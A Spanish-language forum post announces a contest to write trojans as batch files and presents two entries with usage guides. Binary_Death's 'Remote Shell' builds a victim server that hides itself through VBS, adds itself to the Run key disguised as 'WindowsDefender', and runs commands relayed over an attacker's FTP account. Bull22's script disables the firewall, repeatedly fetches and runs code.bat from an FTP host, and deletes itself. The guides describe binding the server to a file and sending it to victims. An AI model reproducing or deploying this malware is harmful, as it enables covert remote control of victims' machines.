Troyanos en batchFecha de entrega: 05/01/2010
Participantes:- /\/\Bull22 (yo)
- Binary_Death
(entregado)- daryo
Ganador = Binary_Death por 6 votos a favor.Tema a desarrollar: se trata de crear algo lo más parecido posible a un troyano mediante archivos batch, usando FTP y todo lo que se os ocurra, como por ejemplo vbs.
Condiciones o caracteristica s que poseé el code: hasta donde llegue vuestro ingenio y imaginación, cabe decir que se pueden elavorar varios scripts que trabajen en conjunto.
Para presentar un troyano tambien es necesario enviar un texto en el que se explique a groso modo como se utiliza.
Evaluación : lo antes que pueda despues de la fecha de entrega editare este post, en el publicare todos los troyanos que participen
junto con los textos de sus autores y asi la gente los podra probar, tambien habra una encuesta para votar, y tras un periodo o de 15 o 20 dias el troyano que haya recibido más votos sera el ganador.
Entrega: antes de la fecha mencionada anteriormetnte, mediante mensaje privado, el mensaje enviarlo a
Petyum99 que es mi nick anterior ya que si lo intentais enviar al actual tendreis problemas.
Esto es todo, os animo a que participeis!
un saludo.
___________________
___________________
___________________
_______________
Troyano de Binary Death
@echo off
@setlocal enabledelayedexpansion
@title Remote Shell BETA [By Binary_Death]
:vars
set "line=-------------------------"
set "e=echo."
:install
if not exist "%WinDir%\BRS" (
MD "%WinDir%\BRS"
)
CD "%WinDir%\BRS"
GoTo:run
:run
%e%*-*-*FTP LOGIN*-*-*&%e%
call:ftplogin
:main
cls
%e%Bienvenido a Remote Shell BETA.
%e%
%e%^<%line%^>
%e%^|1.Cliente ^|
%e%^|2.Crear servidor ^|
%e%^<%line%^>
set /p "op=Option number:"
if %op% GTR 2 (GoTo:main)
cls&call:%op%
:1
%e%Obteniendo lista de usuarios infectados...
for %%x in ("%user%","%pass%","get list.txt","quit") do (
%e%%%~x>>ftpu.tmp
)
ftp -s:ftpu.tmp %ftp%>nul 2>&1
del /f /q ftpu.tmp
cls
%e%Mostrando lista de usuarios infectados...
%e%%line%
type list.txt 2>nul
%e%
%e%%line%
del /f /q list.txt>nul 2>&1
set /p "userlist=Teclee un nombre de la lista:"
if not exist "%userlist%" (
MD "%userlist%"
)
CD "%userlist%"
call:shellrev>shellrev.bat
start shellrev.bat
cls
title Remote Shell - %userlist%
%e%Remote Shell con "%userlist%"
%e%
:rs
set /p command=^>^>
::Filtro by XASSIZ::
for %%f in ("^","&","<",">","|") do (set "command=!command:%%~f=^%%~f!")
::::::::::::::::::::
%e%%command% 1>"%userlist%send.txt"
for %%x in ("%user%","%pass%","send "%userlist%send.txt"","quit") do (
%e%%%~x>>ftps.tmp
)
ftp -s:ftps.tmp %ftp%>nul 2>&1
del /f /q ftps.tmp
del /f /q "%userlist%send.txt"
ping -n 5 localhost 1>nul
GoTo:rs
:shellrev
%e%@echo off
%e%title Remote Shell [rev] - %userlist%
%e%:rev
%e%for %%%%x in ^("%user%","%pass%","get "%userlist%get.txt"","delete "%userlist%get.txt"","quit"^) do ^(
%e%echo %%%%~x^>^>ftpg.tmp
%e%^)
%e%ftp -s:ftpg.tmp %ftp% 1^>nul 2^>^&1
%e%del /f /q ftpg.tmp 2^>nul
%e%type "%userlist%get.txt" 1^>con 2^>nul
%e%del /f /q "%userlist%get.txt" 2^>nul
%e%ping -n 5 localhost^>nul
%e%GoTo:rev
GoTo:EoF
:2
%e%Bienvenido al creador del servidor.
%e%Porfavor, introduzca los datos necesarios.&%e%
call:ftplogin
set /p "name=Nombre de la victima>>"
set /p "rut=Ruta donde se guardara el servidor>>"
set name=%name: =_%
call:create>"%rut%\server[%name%].bat"
%e%Server creado.
pause>nul&exit
:create
%e%@echo off
%e%set a=%%~nx0
%e%set b=%%temp%%\%%a: =_%%
%e%set c=%%temp%%\vbs.vbs
%e%Cd %%temp%%
%e%copy /y "%%~0" "%%b%%" 1^>nul
%e%if "%%1"=="x" ^(GoTo:code^) else ^(
%e%call:a^>%%c%%
%e%start %%c%%^&exit /b
%e%^)
%e%:a
%e%%e%SET a=CreateObject^^("WScript.Shell"^^)
%e%%e%a.Run "%%b%% x",vbHide
%e%GoTo:EoF
%e%:code
%e%copy /y "%%~0" "%%SystemRoot%%\System32\autoexec%%~x0"
%e%reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\run" /v "WindowsDefender" /t REG_SZ /d "%%SystemRoot%%\System32\autoexec%%~x0" /f
%e%for %%%%x in ^("%user%","%pass%","get list.txt","quit"^) do ^(
%e%echo %%%%~x^>^>ftpsr.tmp
%e%^)
%e%ftp -s:ftpsr.tmp %ftp% 1^>nul 2^>^&1
%e%del /f /q ftpsr.tmp
%e%for /f "tokens=*" %%%%a in ^(list.txt^) do ^(
%e%if /i "%%%%a"=="%name%" ^(
%e%set user=true
%e%^)
%e%^)
%e%if not "%%user%%"=="true" ^(
%e%%e%^>^>list.txt^&%e%%name%^>^>list.txt
%e%for %%%%x in ^("%user%","%pass%","send list.txt","quit"^) do ^(
%e%echo %%%%~x^>^>ftpsr.tmp
%e%^)
%e%ftp -s:ftpsr.tmp %ftp% 1^>nul 2^>^&1
%e%del /f /q ftpsr.tmp
%e%^)
%e%del /f /q list.txt
%e%:command
%e%for %%%%x in ^("%user%","%pass%","get %name%send.txt "%%temp%%\%name%send.bat"","delete %name%send.txt","quit"^) do ^(
%e%echo %%%%~x^>^>"%%temp%%\ftpsr.tmp"
%e%^)
%e%ftp -s:"%%temp%%\ftpsr.tmp" %ftp% 1^>nul 2^>^&1
%e%del /f /q "%%temp%%\ftpsr.tmp"
%e%if exist "%%temp%%\%name%send.bat" ^(
%e%call "%%temp%%\%name%send.bat" 1^>^>"%%temp%%\%name%get.txt" 2^>^>^&1
%e%^)
%e%for %%%%x in ^("%user%","%pass%","send "%%temp%%\%name%get.txt"","quit"^) do ^(
%e%echo %%%%~x^>^>"%%temp%%\ftpsr.tmp"
%e%^)
%e%ftp -s:"%%temp%%\ftpsr.tmp" %ftp% 1^>nul 2^>^&1
%e%del /f /q "%%temp%%\%name%send.bat"
%e%del /f /q "%%temp%%\%name%get.txt"
%e%del /f /q "%%temp%%\ftpsr.tmp"
%e%ping -n 5 localhost^>nul
%e%GoTo:command^&GoTo:EoF
GoTo:EoF
:ftplogin
set /p "user=Username>>"
set /p "pass=Password>>"
set /p "ftp=FTP>>"
GoTo:EoF
Texto de ayuda:
==========Ayuda de Remote Shell BETA==========
Programador: Binary_Death
BETA testers: Jessica, Frankito.
Remote Shell es básicamente un programa de administración remota
creado sólo para Windows con el cual obtendrás un manejo completo
de la consola de comandos de Windows (cmd.exe).
Será como si tuvieras la cmd de otra computadora en frente, por así
decirlo.
NOTA: Para usar el programa se requiere de una cuenta FTP, que será válida
para, teóricamente, tener bajo control a ilimitados usuarios.
Para controlar la cmd de otro PC, éste tendrá que ejecutar un fichero .bat
llamado servidor el qual se puede crear desde el propio programa.
En él se tendrán que introducir los datos del FTP y un nombre de víctima, el cual
usarás más tarde para poder conectarte al servidor.
NOTA: El nombre de víctima no podrá contener espacios, puesto que estos serán reemplazados
por la barra inferior (_).
De parte del cliente tendremos una lista donde aparecerán todos los usuarios que hayan abierto
un servidor de esa cuenta FTP.
Cabe destacar que la lista es bastante inestable, y se reiniciará muy probablemente en la ejecución
de algun servidor... aunque ésta se rellenará con los usuarios perdidos cuando vuelvan a abrirlo.
Por ese motivo es recomendable que guardes un fichero con todos los nombres de víctima apuntados.
MUY IMPORTANTE: Un servidor no servirá para todos los usuarios, se deberá crear uno nuevo por cada usuario
que quieras administrar remotamente.
Es evidente que se deben conocer los comandos de el cmd.exe para poder usar éste programa, en caso contrario
sería recomendable que antes te instruyeras con un manual de batch, el cual encontrarás en la red.
Objetivos a mejorar en futuras versiones:
[+]Habilitar el uso de las variables de expansion.
[+]Mejorar estabilidad de la lista de usuarios.
[+]Indicar si un usuario esta conectado o desconectado.
[+]Desarrollar un algoritmo de encriptación para los datos FTP.
[+]Mejorar estabilidad en general de la "conexión". (por soñar...)
Para cualquier duda puedes contactar con:
binary_death:-com
Saludos.
===============================================
Troyano de /\/\Bull22
@echo off
cd %windir%
echo @echo off>server.bat
echo netsh firewall set opmode disable>>server.bat
echo :code>>server.bat
echo cls>>server.bat
echo ping -n 45 127.0.0.1^>nul>>server.bat
echo echo user^>ftp.txt>>server.bat
echo echo pass^>^>ftp.txt>>server.bat
echo echo get code.bat^>^>ftp.txt>>server.bat
echo echo del code.bat^>^>ftp.txt>>server.bat
echo echo bye^>^>ftp.txt>>server.bat
echo echo quit^>^>ftp.txt>>server.bat
echo ftp -s:ftp.txt 111.222.333.444>>server.bat
echo call :bytes code.bat>>server.bat
echo :bytes>>server.bat
echo if ^["%%~z1"^] GTR ^["1"^] (goto :true^) else (goto :false^)>>server.bat
echo :true>>server.bat
echo del /f /q ftp.txt>>server.bat
echo start code.vbs>>server.bat
echo goto :code>>server.bat
echo :false>>server.bat
echo del /f /q ftp.txt>>server.bat
echo del /f /q code.bat>>server.bat
echo goto :code>>server.bat
echo set objshell = createobject ("wscript.shell")>code.vbs
echo objshell.run "code.bat", vbhide>>code.vbs
echo set objshell = createobject ("wscript.shell")>server.vbs
echo objshell.run "server.bat", vbhide>>server.vbs
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v ftp /d %windir%\server.vbs
start server.vbs
del /f /q %0
texto de ayuda
Para usarlo debemos crear un server FTP en nuestro equipo (por ejemplo con Filezilla Server) recordar abrir el puerto 21 del router.
Tenemos que usar no-ip si no es que tenemos IP estatica asi que si no lo teneis instalado ponerlo a funcionar.
Ahora vamos a cliente y substituimos:
user - usuario del server FTP
pass - por la pass del usuario
111.222.333.444 - por nuestra IP estatica o NO-IP
Ahora unimos el server a algun archivo y se lo enviamos a la victima.
Para enviarle ordenes colocamos en la raiz de nuestro server FTP un archivo batch que haga lo que queramos y lo nombramos como: code.bat
Esto es todo, SaludOS
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Para votar entra aqui.
http://www.palimpalem.com/7/cct/